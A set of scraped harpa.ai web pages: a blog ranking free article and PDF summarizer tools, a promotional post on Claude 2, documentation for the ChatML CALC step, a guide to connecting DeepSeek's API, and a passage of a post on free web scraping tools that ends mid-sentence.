----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Time is your most valuable asset, especially when drowning in content. A **free article summarizer** or **PDF summarizer** cuts through noise, extracting **key takeaways** from lengthy reports, blog posts, or research papers in seconds. For marketers like Sarah, it means quickly auditing SEO content; for researchers like Jordan, digesting massive PDFs without fatigue. Browser-based **website summary AI** tools like HARPA AI go further, working directly on pages you visit—no copy-pasting. Studies highlight top free tools: QuillBot (up to 600 words free), TLDR This (URLs/PDFs up to 25MB), and Noiz (unlimited 1,000-page PDFs). These **AI article summarizer free** options support **summarize web pages**, **text summarizer**, and more, with multilingual output and formats like bullets or paragraphs. HARPA AI's extension (4.7/5 from 400K users) shines for productivity personas, offering **article summarizer extension** features plus YouTube and automation. Competitors lag with limits, making HARPA ideal for zeroing in on **summarize long articles** or **digest massive pdf reports**. Ready to reclaim your time? Let's explore the best. ![](https://harpa.ai/img/blog/free-article-and-pdf-summarizers-with-ai-2.webp) [\#](https://harpa.ai/blog/free-article-and-pdf-summarizers-with-ai#1.-quillbot:-best-free-article-summarizer-for-text-and-articles) 1\. QuillBot: Best Free Article Summarizer for Text and Articles ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ QuillBot tops rankings as the **best article summarizer** and **article summarizer AI** for everyday text. Paste up to 600 words (some reports say 1,200) free—no sign-up needed—for **article summarizer free** results in bullet points, paragraphs, or key phrases. Multilingual support makes it versatile for global content. **Pros**: Quick, no-login summaries; customizable length; SEO-friendly for marketers. **Cons**: Word limits; no native PDFs (upload text only). **How to use**: 1. Visit quillbot.com/summarize. 2. Paste text or URL. 3. Select mode (Standard, Fluent) and generate. Perfect for copywriters like Mike crafting blogs—**text summarizer AI** rephrases for inspiration. Compared to others, QuillBot's ease beats Resoomer's basic free tier. [\#](https://harpa.ai/blog/free-article-and-pdf-summarizers-with-ai#2.-tldr-this:-top-website-summary-ai-free-for-web-pages) 2\. TLDR This: Top Website Summary AI Free for Web Pages -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- TLDR This excels as a **website summary AI** and **web page summarizer free** tool, handling URLs, articles, and PDFs up to 25MB free. It delivers human-like **summarize article AI** with metadata, keywords, and rephrased highlights—ideal for **website summarizer** tasks. **Freemium perks**: Unlimited basic; 10 advanced summaries/month. Browser extension adds one-click magic. **Quick start**: 1. Enter URL or upload file at tldrthis.com. 2. Choose length (short/long). 3. Get TL;DR plus reading time estimate. Marketers like Sarah love it for **summarize web pages** during research. [\#](https://harpa.ai/blog/free-article-and-pdf-summarizers-with-ai#3.-noiz-ai:-unlimited-large-pdf-summarizer-free-online) 3\. Noiz AI: Unlimited Large PDF Summarizer Free Online ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ For **PDF summarizer online** and **large pdf summarizer free**, Noiz AI rules with truly unlimited access—up to 1,000 pages, no sign-up or limits. Privacy-focused: files auto-delete post-use, perfect for sensitive research. **Standout features**: Handles massive docs; structured outputs. Beats NoteGPT (3/day, 50MB) or ChatPDF (2/day, 120 pages). Upload at noiz.io, get instant **PDF summarizer AI**—no caps. Academics like Jordan use it to **digest massive pdf reports** for theses. Simple, secure, and **pdf summarizer free** forever. [\#](https://harpa.ai/blog/free-article-and-pdf-summarizers-with-ai#4.-harpa-ai:-best-website-summary-ai-extension-for-articles,-pdfs-&-youtube) 4\. HARPA AI: Best Website Summary AI Extension for Articles, PDFs & YouTube ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ HARPA AI is the ultimate **website summary AI extension** and **best website summary AI** (4.7/5, 400K users). Use **/summary** for web pages/tweets/articles, **/youtube-summary** for videos with timestamps/transcripts, and PDFs. **Working with files**: Drag and drop any file — PDF, TXT, JSON and more — directly into HARPA AI chat, ask your question and get answers in seconds. No more digging through pages. Click **summary** for concise takeaways from lengthy documents or **repurpose** to turn PDFs into blog posts or social media content. **Working with online PDFs**: If you received a PDF by email or opened it online, launch HARPA AI, click the three-dot menu in the bottom left corner and enable **page-aware mode**. Ask your questions in chat and get precise answers right from the document. You can also use built-in page-aware AI commands like **/summary** and **/repurpose-text** depending on your needs. **Why it fits**: * Pre-defined commands, works without prompts. * Drag & drop: work with local PDFs, text files and other documents directly in chat. Start with [getting started with HARPA AI](https://harpa.ai/guides/getting-started) or [HARPA AI's summarization guide](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) . Unlimited style-mimic writer too—[use HARPA AI for free](https://harpa.ai/blog/how-to-use-harpa-ai-for-free) . [\#](https://harpa.ai/blog/free-article-and-pdf-summarizers-with-ai#5.-scholarcy:-article-summarizer-pdf-tool-for-research-papers) 5\. Scholarcy: Article Summarizer PDF Tool for Research Papers -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Scholarcy targets academics as a **best article summarizer** for papers—free tier summarizes 3 articles/day, extracting flashcards, references, figures from PDFs. Ideal for **ai research paper tools** and **best tools for literature review**. Upload docs for structured breakdowns: key findings, methods, citations. Jordan's go-to for theses—**extract key points studies** effortlessly. **Pros**: Research-focused; exports to reference managers. **Cons**: Daily cap. Complements general tools for deep dives. [\#](https://harpa.ai/blog/free-article-and-pdf-summarizers-with-ai#other-notable-free-text-summarizers-and-pdf-tools) Other Notable Free Text Summarizers and PDF Tools ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Beyond top picks, try these **text summarizer** and **ai content summarizer** options: * **Wordtune**: Free limited **text summarizer free** extension. * **Resoomer/Grammarly**: Quick **article summarizer online**. * **NoteGPT**: 50MB PDFs, mind maps (3/day). * **ChatPDF**: 2/day, **chat with pdf** (120 pages). * **Smallpdf/Adobe**: Trial-based **pdf summarization**. * **PDF-Summarizer.com/Knowt**: 1,500 pages free; student flashcards. Limits vary—e.g., **upload pdf to ai** caps. Great **summarize long documents ai** backups. [\#](https://harpa.ai/blog/free-article-and-pdf-summarizers-with-ai#best-browser-extensions-for-article-summarizer-and-web-page-summarizer) Best Browser Extensions for Article Summarizer and Web Page Summarizer ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Extensions boost workflow: **HARPA AI** leads for **article summarizer extension**, **web page summarizer pdf**, and **summarize web page into tweet** via 100+ commands. Vs. justTLDR (multi-AI), Merlin (102 msgs/day), Bardeen (100 credits). Users praise HARPA's integration but note limits—add your API key for more. Top for **website summary ai pdf**. Try HARPA AI today—[install free](https://get.harpa.ai/) and **summarize pdf online** instantly! [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/summarize-threads-and-conversations) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Claude AI: Beyond OpenAIs ChatGPT [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/maps/rocket-02.svg) Claude AI: Beyond OpenAIs ChatGPT ================================= OUTLINE NAVIGATE [\#](https://harpa.ai/blog/claude-ai-beyond-openai-chatgpt#paradigm-shift-in-artificial-intelligence) Paradigm Shift in Artificial Intelligence ------------------------------------------------------------------------------------------------------------------------------------------------ In the ever-evolving world of artificial intelligence (AI), Claude 2, developed by [Anthropic](https://www.anthropic.com/) , has recently shattered existing norms, outperforming previous industry leader ChatGPT by a significant margin. This is a monumental leap that is poised to redefine our interaction with generative AI models [(Time)](https://time.com/6295523/claude-2-anthropic-chatgpt/) . ### [\#](https://harpa.ai/blog/claude-ai-beyond-openai-chatgpt#claude:-more-than-just-a-chatbot) Claude: More Than Just a Chatbot Generative AI models like GenAI have shifted the paradigm by their mere capability to generate content. However, Claude 2 stands apart with its ability to read, remember, and analyze 75,000 words in less than 60 seconds. This enables Claude to digest entire books and long, dense documents swiftly, setting it apart from other models in the market [(PCMag)](https://www.pcmag.com/news/claude-ai-can-digest-75000-words-in-under-a-minute) . ### [\#](https://harpa.ai/blog/claude-ai-beyond-openai-chatgpt#balancing-ethical-implications-with-ai-alignment) Balancing Ethical Implications with AI Alignment Claude transcends traditional methods by adopting an AI-driven self-alignment. In addition to being guided by a predetermined "Constitution," Claude is underpinned by 10 secret foundational pillars of fairness. This makes the AI less prone to factual hallucinations than its competition [(Engadget)](https://www.engadget.com/anthropics-claude-ai-is-guided-by-10-secret-foundational-pillars-of-fairness-193058471.html) . ### [\#](https://harpa.ai/blog/claude-ai-beyond-openai-chatgpt#a-quantum-leap-in-context-window-capacity) A Quantum Leap in Context Window Capacity Claude sets another milestone with its unparalleled context window capacity—expanded from 9,000 tokens to an astonishing 100,000 tokens. For comparison, the context window capacity of Claude's immediate predecessor was merely a fraction of this, showcasing how far the technology has evolved. ### [\#](https://harpa.ai/blog/claude-ai-beyond-openai-chatgpt#the-unfathomable-power-of-in-context-learning) The Unfathomable Power of In-Context Learning Claude 2's ability to engage in 'in-context learning' fundamentally transforms the model's adaptability. A comparison between Claude 2 and ChatGPT reveals that Claude 2 significantly outperforms in features, performance, and capabilities, solidifying its position as a breakthrough in generative AI [(Speechify)](https://speechify.com/blog/chatgpt-vs-claude-2/) . ### [\#](https://harpa.ai/blog/claude-ai-beyond-openai-chatgpt#impact-and-future-implications) Impact and Future Implications Claude's capabilities have attracted interest from sectors ranging from legal to academic research. The model is currently being tested by launch partners, including Robin AI, Quora, and Duck Duck Go, and has shown proficiency in understanding language, drafting, summarizing, translations, and explaining complex concepts in simple terms [(Engadget)](https://www.engadget.com/anthropics-claude-ai-is-guided-by-10-secret-foundational-pillars-of-fairness-193058471.html) . ### [\#](https://harpa.ai/blog/claude-ai-beyond-openai-chatgpt#conclusion) Conclusion Claude 2's advent marks not just a milestone but a massive leap forward in what AI can achieve. This aligns with the mission of Anthropic, a safety-focused AI start-up, to not just compete with existing models like ChatGPT, but to do so while averting the risks associated with AI [(NYTimes)](https://www.nytimes.com/2023/07/11/technology/anthropic-ai-claude-chatbot.html) . This evolution in generative AI models underscores the constant transformation in the world of AI, with Claude 2 standing as a testament to the immense possibilities that lie ahead. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/deepseek-api-not-working) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/saas-industry-key-statistics-2023) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Calc step [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) Calc step ========= CONTENTS [\#](https://harpa.ai/chatml/steps-calc#calc) CALC --------------------------------------------------- This step allows you to: * Set and clone parameter values. * Extract prices, numbers, and code blocks from GPT responses. * Utilize regular expressions to replace text in parameters. * Increment numerical values. * Append, update, or remove data from lists. Add a CALC step to your custom command. Click to edit the step and get a list of available functions, organized into four groups: parameters, extraction, numbers, texts and lists. ![](https://harpa.ai/img/chatml/calc-1.webp) ### [\#](https://harpa.ai/chatml/steps-calc#parameters) Parameters #### Set parameter To set a parameter value, type in value, choose parameter name and format. For example, a function to capture the current page's URL into a parameter would look like this: ![](https://harpa.ai/img/chatml/calc-2.webp) #### Clone parameter Use this function to make a copy of a parameter, such as gpt, or a list. ![](https://harpa.ai/img/chatml/calc-3.webp) **ChatML declaration** # Set parameter - type: calc func: set param: saved.url format: auto value: '{{url}}' # Clone parameter - type: calc func: clone from: gpt to: cloned.gpt ### [\#](https://harpa.ai/chatml/steps-calc#extraction) Extraction Use extraction functions to extract code blocks and data from text parameters, e.g. GPT responses. Select the source parameter for extraction and a parameter where the extracted data will be stored. For example, use Extract functions to extract all prices from a web page and store them in the {{prices}} parameter: ![](https://harpa.ai/img/chatml/calc-4.webp) **ChatML declaration** - type: calc func: extract-data to: prices param: page data: price index: all ### [\#](https://harpa.ai/chatml/steps-calc#increment-parameter) Increment parameter Use this function to increment a numerical parameter value. This can be useful if you need to count events within loops or generate unique values, such as User IDs. ![](https://harpa.ai/img/chatml/calc-5.webp) **ChatML declaration** - type: calc func: increment param: userID delta: '1' ### [\#](https://harpa.ai/chatml/steps-calc#texts) Texts The text functions within the CALC step enables you to: * **Change text case** (to UPPERCASE, lowercase, Title Case, Sentence case, PascalCase, camelCase, kebab-case or underscore case). You can modify the parameter (e.g. {{text}}) or specify a different parameter where the altered text will be saved. ![](https://harpa.ai/img/chatml/calc-6.webp) * **Take the first / last line** (Splits given parameter into lines, and takes the first/last, non-empty one). ![](https://harpa.ai/img/chatml/calc-7.webp) * **Split by delimiter** (Splits text into a list by delimiter). ![](https://harpa.ai/img/chatml/calc-8.webp) * **Replace in text** (Scans input by regex or text and replaces matches with a template). For instance, you can change the time format from 1:30 to "1 hour 30 minutes" like this: ![](https://harpa.ai/img/chatml/calc-9.webp) * **Match in text** (Scans input by regex or text and extracts matched results). For example, using this function, you can find all mentions of time intervals within the text and store them in a new parameter, {{search.result}}. ![](https://harpa.ai/img/chatml/calc-10.webp) **ChatML declaration** # Change text case - type: calc func: change-case to: text param: text case: upper # Take the first line - type: calc func: first-line to: first.line param: text # Take the last line - type: calc func: last-line to: last.line param: text # Split by delimiter - type: calc func: split to: splitted.text param: text delimiter: ', ' # Replace text - type: calc func: replace to: text param: text regex: /(\d{1,2}):(\d{2})/gmi template: $1 hours $2 minutes # Match text - type: calc func: match to: search.result param: text regex: /(\d{1,2}):(\d{2})/gmi template: $1 hours $2 minutes ### [\#](https://harpa.ai/chatml/steps-calc#lists) Lists HARPA AI allows you to perform a variety of operations on lists, including: * **Add list item.** This function allows you to append the given {{param}} value to the end of the {{list}} parameter. You have the flexibility to change the names of the parameters used, as well as specify the position within the list where the value will be added, whether it's the at start, end, or a specific location. ![](https://harpa.ai/img/chatml/calc-11.webp) * **Filter list items.** You can filter items in a {{list}} and perform a selected action, either excluding or retaining matched values. For example, this command can filter the list to include only the rows where 'Name = John'. ![](https://harpa.ai/img/chatml/calc-12.webp) * **Update list items.** You can automatically modify or update the values of items in a list. For example, you can change item status from "in progress" to null. ![](https://harpa.ai/img/chatml/calc-13.webp) * **Merge two lists.** Merge two lists either by a given field name, storing the resulting output as a new parameter. Objects with the same field value will be merged into one object. This is useful to combine data from the same source taken at different times. ![](https://harpa.ai/img/chatml/calc-14.webp) **ChatML declaration** # Add list item - type: calc func: list-add index: last list: list item: param # Filter list items - type: calc func: list-filter list: list item: param match: '{ "name": John }' matched: retain # Update list items - type: calc func: list-update list: list match: '{ "status": in progress }' prop: '{ "status": null }' # Merge two lists - type: calc func: list-merge to: merged.list listA: a listB: b by: id [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/steps-clear-stop) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/chatml/conditions-and-jumps) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Connecting to DeepSeek [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/search-refraction.svg) Connecting to DeepSeek ====================== OUTLINE NAVIGATE [\#](https://harpa.ai/blog/connecting-harpa-to-deepseek-api#what-is-deepseek) What is DeepSeek ----------------------------------------------------------------------------------------------- DeepSeek V3 is a [mixture-of-experts](https://www.ibm.com/think/topics/mixture-of-experts) (MoE) language model with 671 billion parameters, 37 billion of which are activated per token. It performs especially well at writing and analyzing computer code. This is a noteworthy alternative to GPT-5.4, Claude Sonnet 4.6 and Haiku 4.5, offering better pricing. Here's why it makes sense to try DeepSeek-V3 in HARPA AI: 1. DeepSeek has great analytical capabilities, comparable to GPT-5.4, while the cost is significantly less than GPT-5.4, or only about 50% more than basic GPT-5 Nano. 2. It performs almost as fast as GPT-5 Nano, but is notably smarter. ![](https://harpa.ai/img/guides/harpa-ai-deepseek-connection-1.webp) [\#](https://harpa.ai/blog/connecting-harpa-to-deepseek-api#how-do-i-get-a-deepseek-v3-api-key?) How do I get a DeepSeek V3 API Key? ------------------------------------------------------------------------------------------------------------------------------------- 1. Go to the [DeepSeek Sign Up page](https://platform.deepseek.com/sign_in) to get started. 2. Sign Up or Login via Google Account. ![](https://harpa.ai/img/guides/harpa-ai-deepseek-connection-2.webp) 3. Top Up your Account. During testing, we found that summarizing 4x 15-minute YouTube videos costs about 1 cent, so $2 should be enough to check the functionality. ![](https://harpa.ai/img/guides/harpa-ai-deepseek-connection-3.webp) 4. Go to the API Keys tab, name and generate your key. ![](https://harpa.ai/img/guides/harpa-ai-deepseek-connection-4.webp) ### [\#](https://harpa.ai/blog/connecting-harpa-to-deepseek-api#adding-deepseek-connection-to-harpa) Adding DeepSeek connection to HARPA 5. Open Harpa and click the Connections Switch. Scroll down to the API section. Create a new API key connection (you can click copy on an existing connection). 6. Copy your DeepSeek API Key to HARPA. * Set chat model to: _deepseek-chat_ * API Proxy URL: _https://api.deepseek.com_ * Proxy path: _/v1/chat/completions_ * If you didn't copy the key in step 4 - simply create a new one and delete the old one. ![](https://harpa.ai/img/guides/harpa-ai-deepseek-connection-5.webp) 7. Pick this DeepSeek connection and try asking something in the chat to make sure the connection works. ![](https://harpa.ai/img/guides/harpa-ai-deepseek-connection-8.webp) [\#](https://harpa.ai/blog/connecting-harpa-to-deepseek-api#deepseek-api-issues-&-solutions) DeepSeek API Issues & Solutions ----------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/connecting-harpa-to-deepseek-api#error-%22api-key-is-missing-or-is-incorrect.%22) Error "API key is missing or is incorrect." ![](https://harpa.ai/img/guides/harpa-ai-deepseek-connection-6.webp) You likely need to check your chat model and API Proxy URL settings: * Chat model: _deepseek-chat_ * API Proxy URL: _https://api.deepseek.com_ Until you confirm the connection works, remove all additional API settings - context window, system prompt, temperature, etc. You can also create a new API key in case your old one stopped working or extra characters were added when copying it. Find the latest information here: [https://api-docs.deepseek.com/](https://api-docs.deepseek.com/) ### [\#](https://harpa.ai/blog/connecting-harpa-to-deepseek-api#error:-%22request-failed.-please-check-if-api-is-up-and-running-and-key-is-correct.%22) Error: "Request failed. Please check if API is up and running and Key is correct." ![](https://harpa.ai/img/guides/harpa-ai-deepseek-connection-7.webp) Based on the error message shown, your balance is insufficient. Please [top up your DeepSeek balance](https://platform.deepseek.com/top_up) to fix this issue. ### [\#](https://harpa.ai/blog/connecting-harpa-to-deepseek-api#deepseek-api-token-consumption) DeepSeek API Token Consumption To check your DeepSeek token usage, go to the [usage tab](https://platform.deepseek.com/usage) in your DeepSeek account. You will find a list of requests, token consumption, and your API costs there. [\#](https://harpa.ai/blog/connecting-harpa-to-deepseek-api#links-for-further-reading) Links for further reading ----------------------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Connecting to CloudGPT](https://harpa.ai/blog/cloud-gpt-connection) * [Connecting to ChatGPT](https://harpa.ai/blog/chatgpt-web-session) * [Connecting to OpenAI API](https://harpa.ai/blog/how-to-get-an-openai-api-key) * [Connecting to Claude AI](https://harpa.ai/blog/claude-ai-connection) * [Connecting to Google Gemini](https://harpa.ai/blog/google-bard-connection) * [Connecting to OpenRouter](https://harpa.ai/blog/openrouter-connection-in-harpa-ai) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/connecting-harpa-ollama-local-llms) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/connecting-harpa-to-serpapi) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Top Free Web Scraping Tools and Chrome Extensions 2026: Best Data Extraction Software [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-01.svg) Top Free Web Scraping Tools and Chrome Extensions 2026: Best Data Extraction Software ===================================================================================== OUTLINE NAVIGATE ![](https://harpa.ai/img/blog/top-free-web-scraping-tools-1.webp) [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#what-is-web-scraping-and-why-use-free-tools-in-2026?) What is Web Scraping and Why Use Free Tools in 2026? ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Web scraping is the process of **extracting data from websites** automatically, turning unstructured web content into structured formats like CSV or Excel for analysis, research, or automation. In 2026, **free web scraping tools** and **Chrome extensions** are essential for **data extraction** without coding skills. For no-code users, these tools enable **automating data extraction** from any site — perfect for marketers, researchers, and e-commerce sellers. Chrome extensions lead the pack for quick, browser-based **web data extraction**, with top options like Instant Data Scraper boasting 1M users. This guide covers the best **free web scraping tools**, from point-and-click basics to **AI web scraping** powerhouses, helping you **extract data from websites** effortlessly. ![](https://harpa.ai/img/blog/top-free-web-scraping-tools-2.webp) [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#top-free-web-scraper-chrome-extensions-for-quick-data-extraction) Top Free Web Scraper Chrome Extensions for Quick Data Extraction ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- For fast **data extraction**, non-AI **free web scraper Chrome extensions** excel in point-and-click simplicity, ideal for single or multi-page sites. * **Instant Data Scraper** (1M users, 4.9/5 from 7K reviews): AI-driven table detection handles pagination and infinite scroll, unlimited **CSV/Excel exports**. Completely free forever. [Chrome Store](https://chromewebstore.google.com/detail/instant-data-scraper/ofaokhiedipichpaobibbnahnkdoiiah) * Pros: Easy setup, no limits. * Cons: Less flexible for non-tabular data. * **Web Scraper** (800K users, 4.0/5): Supports dynamic JS/AJAX sites, pagination via sitemaps, **CSV/XLSX/JSON exports**. Free local use. [Chrome Store](https://chromewebstore.google.com/detail/web-scraper-free-web-scra/jnhgnonknehpejjnehehllkliplmbmhn) * Pros: Robust for complex sites. * Cons: Steeper learning curve. * **Data Miner** (200K-300K users, 4.0/5): 500 pages/month free, recipes for logins/pagination, 1M+ pre-built scrapers. [Chrome Store](https://chromewebstore.google.com/detail/data-scraper-easy-web-scr/nndknepjnldbdbepjfgmncbggmopgden) * Pros: Community recipes. * Cons: Page limits on free plan. [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#instant-data-scraper:-best-for-unlimited-table-extraction) Instant Data Scraper: Best for Unlimited Table Extraction -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- **Instant Data Scraper** tops **free data scraper Chrome extension** lists with 1M users and a 4.9/5 rating. This **easy web data scraper** uses AI heuristics to detect tables automatically, supporting pagination and infinite scroll for sites like e-commerce listings. It offers unlimited local exports to **CSV/Excel** — no cloud needed. Install, click "Scrape," and download cleaned data instantly. Ideal for e-commerce sellers monitoring stock. [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#web-scraper:-ideal-for-dynamic-sites-and-pagination) Web Scraper: Ideal for Dynamic Sites and Pagination -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- **Web Scraper** serves 800K users, excelling at **dynamic sites** via sitemaps for pagination and JS rendering. Export to **CSV/XLSX/JSON** locally for free. It handles AJAX-heavy pages better than basic tools. WebScraper.io docs guide creating sitemaps visually and previewing data. Great for researchers pulling article lists. [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#best-ai-web-scraping-tools-and-chrome-extensions) Best AI Web Scraping Tools and Chrome Extensions -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- **AI web scraping tools** elevate **data extraction** with LLMs for no-code prompts: * **HARPA AI**: Page-aware AI extension with **{{page}}** parameter for web data extraction, **{{grab}}** for element-level scraping, and custom AI commands for automated workflows. See details below. * **Thunderbit** (100K users, 4.3/5): 2-click scraping with AI, free exports to Excel/Sheets (6 pages/month free). [Chrome Store](https://chromewebstore.google.com/detail/thunderbit-ai-web-scraper/hbkblmodhbmcakopmmfbaopfckopccgp) * **AIScraper** (3K users, 4.5/5): AI for dynamic/pagination, free credits. [Chrome Store](https://chromewebstore.google.com/detail/aiscraper-ai-powered-no-c/mfjniiodgjhlmleaakofgijfccdgppbc) These beat traditional tools for intent-based extraction like "scrape emails from this page." [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#harpa-ai:-ai-powered-web-data-extraction-and-automation) HARPA AI: AI-Powered Web Data Extraction and Automation ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- **HARPA AI** offers two approaches to web scraping — directly in the browser extension, and remotely via the GRID API. ### [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#in-browser:-page-crawler-and-data-extraction) In-Browser: Page Crawler and Data Extraction HARPA uses the **{{page}}** parameter to fetch and extract data from any website. You can combine it with **{{grab}}** for element-level extraction using CSS, XPath, or text selectors. The **{{page}}** parameter supports query, URL, and limit arguments: * `{{page url}}` — retrieve content from a specific URL * `{{page query}}` — scan page content for text semantically similar to a query * `{{page limit=500}}` or `{{page limit=10%}}` — limit output in tokens or percentage of context window For example, you can build a custom **Customer Service Agent** command that searches a specific website and responds to user queries using fetched data: ![](https://harpa.ai/img/guides/web-crawler-1.webp) Create a command with ASK steps for user query and website URL, then use CALC and GPT steps to search, extract, and answer: ![](https://harpa.ai/img/guides/web-crawler-7.webp) Two crawling approaches are available: 1. **Page fetching** — suitable for server-side rendered websites. Fast, but may not work on JS-heavy sites. 2. **Navigate & Extract** — versatile approach using LOOP and NAVIGATE steps to process a list of links sequentially. Works on any resource. See the full [Page Crawler guide](https://harpa.ai/guides/page-parameter-page-crawler) for step-by-step setup. ### [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#remote:-grid-api-and-make.com-scraping-module) Remote: GRID API and Make.com Scraping Module For server-side automation, HARPA GRID provides a **Scrape Web Page** module in Make.com that parses webpage content in Markdown format using your browser as a node. **How to scrape remotely:** 1. Set up a [Browser Automation Node](https://harpa.ai/grid/browser-automation-node-setup) — open HARPA, go to the **AUTOMATE** tab, enable **Remote-Control Browser**, and create an API Key. 2. In Make.com, add the **HARPA: Scrape Web Page** module to your scenario. ![](https://harpa.ai/img/grid/harpa-grid-make-com-15.webp) 3. Select your connection, enter the URL, and optionally add CSS/XPath selectors to grab specific elements. ![](https://harpa.ai/img/grid/harpa-grid-make-com-16.webp) 4. Click **Run once** to get parsed content in Markdown format. ![](https://harpa.ai/img/grid/harpa-grid-make-com-17.webp) You can also call GRID 